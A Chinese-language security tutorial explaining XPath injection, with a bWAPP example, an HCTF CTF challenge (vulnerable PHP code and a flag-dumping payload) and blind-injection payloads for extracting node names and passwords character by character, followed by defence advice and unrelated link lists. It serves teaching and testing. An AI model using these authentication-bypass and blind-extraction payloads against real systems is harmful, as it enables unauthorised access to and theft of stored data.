0x01 简介

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

语法:

0x02 原理

XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequest parameters/input等。 例如:

xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
<user>
<firstname>Jeghis</firstname>
<lastname>Katz</lastname>
<loginID>mrj</loginID>
<password>jk2468</password>
</user>
<user>
<firstname>Darien</firstname>
<lastname>Heap</lastname>
<loginID>drano</loginID>
<password>2mne8s</password>
</user>
</users>
正常查询//users/user[loginID/text()='xyz'and password/text()='123test'],如果黑客在 loginID 字段中输入:' or 1=1 or ''=' 
则变成//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''=''],成功获取所有user数据,然后
攻击者完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

0x03 利用

如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作。

Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。

判断依据:主要根据错误信息页面判断以及查看源码进行分析。

Example:Bwapp

首先这是这个Get方式请求验证,因此对get的参数进行注入测试,发现报错信息,说明是可能通过xml存储于前端交互。

然后构造xpath查询语句//users/user[loginID/text()='' and password/text()=''],因此'or 1=1 or ''='或者' or '1'='1等使其为真可以。

Example:hctf

index.html

<?php
$re=array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); if(file_exists('t3stt3st.xml'))
{
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$user=str_replace($re, ' ',$user);
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo $x.": " . $x_value; echo "<br />"; }
}
?>
t3stt3et.xml
xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>

通过查看源码$query,然后构造payload: `']|//*|['`

Example:

<addressBooke>
<address>
<name>Tom</name>
<password>abcdefg</password>
<age>20</age>
<phone>13000000000</phone>
</address>
<address>
<name>Bob</name>
<password>abcdefg</password>
<age>30</age>
<phone>13000000001</phone>
</address>
<address>
<name>Jack</name>
<password>abcdefg</password>
<age>40</age>
<phone>13000000002</phone>
</address>


原理类似SQL注入,构建新的查询逻辑来进行攻击
但是要注意,关键词像函数这种的区分大小写
1.构建新的逻辑实现注入
or 1=1
and 1=2
'or 'a'='a
'and 'a'='b
一个字节一个字节的提取出信息:
'or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' and 'a'='a
返回正常则判断正确
等同于下面的查询:
//address[name/text()='' or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' ]and 'a'='a]/phone/text()
通过查询名字的输入 却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码
 
2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
相当于SQL盲注(大家都对语句嫩熟于心,不多提了)
首先提取父节点的名字:
'or substring(name(parent::*[position()=1]),1,1)='a  正常
'or substring(name(parent::*[position()=1]),2,1)='d  正常
........
父节点名字为address 是元素节点
提取子节点名字
'or substring(//address[1]/*[2],1,1)='p' or 'a'='a 正常
'or substring(//address[1]/*[2],2,1)='a' or 'a'='a 正常
........
二号子节点名称为password
提取子节点的值:
基于原理://address[1]/*[2]/text() -> tom的password 但是这个不会输出
我们通过布尔型来查询XML所有的内容
'or substring(//address[1]/*[2]/text(),1,1)='a' or'a'='a 正常
'or substring(//address[1]/*[2]/text(),1,1)='b' or'a'='a 正常
......
第二个子节点值为abcdefg
 
测试步骤:
提交这些看能否使得状态改变 (count返回子节点数量)
' or count(parent::*[position()=1])=0 or 'a'='b 状态1
' or count(aprent::*[position()=1])>0 or 'a'='b 状态改变
数字型参数:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])=0 状态改变
确定了存在注入点,用上面的方法注入就可以了!

0x04 危害

  1. 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据;
  2. 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
  3. 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。

0x05 防御

  1. 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
  2. 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
  3. 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
  4. 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
  5. 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。

4.xpath注入详解的更多相关文章

  1. xpath注入详解

      0x01 什么是xpath XPath 即为 XML 路径语言,是 W3C XSLT 标准的主要元素,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言. XPath 基于  ...

  2. dom4j api 详解--XPath 节点详解

    dom4j api 详解 http://871421448.iteye.com/blog/1546955 XPath 节点 http://www.w3school.com.cn/xpath/xpath ...

  3. Xpath语法详解

    1.简介 XPath是一门在XML和HTML文档中查找信息的语言,可以用来在XML和HTML文档中对元素和属性进行遍历 XPath的安装 Chrome插件XPath Helper 点Chrome浏览器 ...

  4. 详解C#泛型(二) 获取C#中方法的执行时间及其代码注入 详解C#泛型(一) 详解C#委托和事件(二) 详解C#特性和反射(四) 记一次.net core调用SOAP接口遇到的问题 C# WebRequest.Create 锚点“#”字符问题 根据内容来产生一个二维码

    详解C#泛型(二)   一.自定义泛型方法(Generic Method),将类型参数用作参数列表或返回值的类型: void MyFunc<T>() //声明具有一个类型参数的泛型方法 { ...

  5. selenium:Xpath定位详解

    xpath定位在业界被戏称为元素定位的"屠龙宝刀",宝刀在手,武林我有.现在我们就来详解xpath定位方法. 一.xpath通过元素属性定位 xpath可以通过元素的属性来定位,如 ...

  6. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

  7. 【web安全】第六弹:手工SQL注入详解

    前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章 ...

  8. XML外部实体(XXE)注入详解

    ###XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Ex ...

  9. MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解

    判断数据库的类型 当我们通过一些测试,发现存在SQL注入之后,首先要做的就是判断数据库的类型. 常用的数据库有MySQL.Access.SQLServer.Oracle.PostgreSQL.虽然绝大 ...

随机推荐

  1. Java 内存分配全面浅析(转)

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

  2. jquery获取form表单中的内容,并将表单内容更新到datagrid的一行

    //执行不刷新页面更新所修改的行 var arr = $('#patient_form').serializeArray();//将表单中的数据格式化成数组 var m = new Array(); ...

  3. 我的Android进阶之旅------>android视频播放只有声音无画面的解决办法

    今天调试公司用VideoView实现的播放器来播放视频的时候,只有声音输出而无画面输出.一开始以为是自己程序有问题,调试了半天无果.怀疑是真机本身的问题,于是下了几个第三方的播放器来进行视频播放,例如 ...

  4. Linux入门基础(一)——ls、mkdir命令

  5. 转 Spring 组件 <context:component-scan base-pakage="">用法

    1.如果不想在xml文件中配置bean,我们可以给我们的类加上spring组件注解,只需再配置下spring的扫描器就可以实现bean的自动载入. <!-- 注解注入 --> <co ...

  6. Java for LeetCode 087 Scramble String

    Given a string s1, we may represent it as a binary tree by partitioning it to two non-empty substrin ...

  7. StreamWriter结合UTF-8编码使用不当,会造成BOM(Byte Order Mark )问题生成乱码(转载)

    问: I was using HttpWebRequest to try a rest api in ASP.NET Core MVC.Here is my HttpWebRequest client ...

  8. EASYARM-IMX283 编译uboot和uImage

    本文是按照IMX283配套光盘的流程重新编译uboot和uImage将光盘中的gcc-4.4.4-glibc-2.11.1-multilib-1.0_EasyARM-iMX283.tar.bz2 解压 ...

  9. 51Nod 1158 全是1的最大子矩阵 —— 预处理 + 暴力枚举 or 单调栈

    题目链接:http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1158 1158 全是1的最大子矩阵  基准时间限制:1 秒 空 ...

  10. SPOJ - SUBST1 New Distinct Substrings —— 后缀数组 单个字符串的子串个数

    题目链接:https://vjudge.net/problem/SPOJ-SUBST1 SUBST1 - New Distinct Substrings #suffix-array-8 Given a ...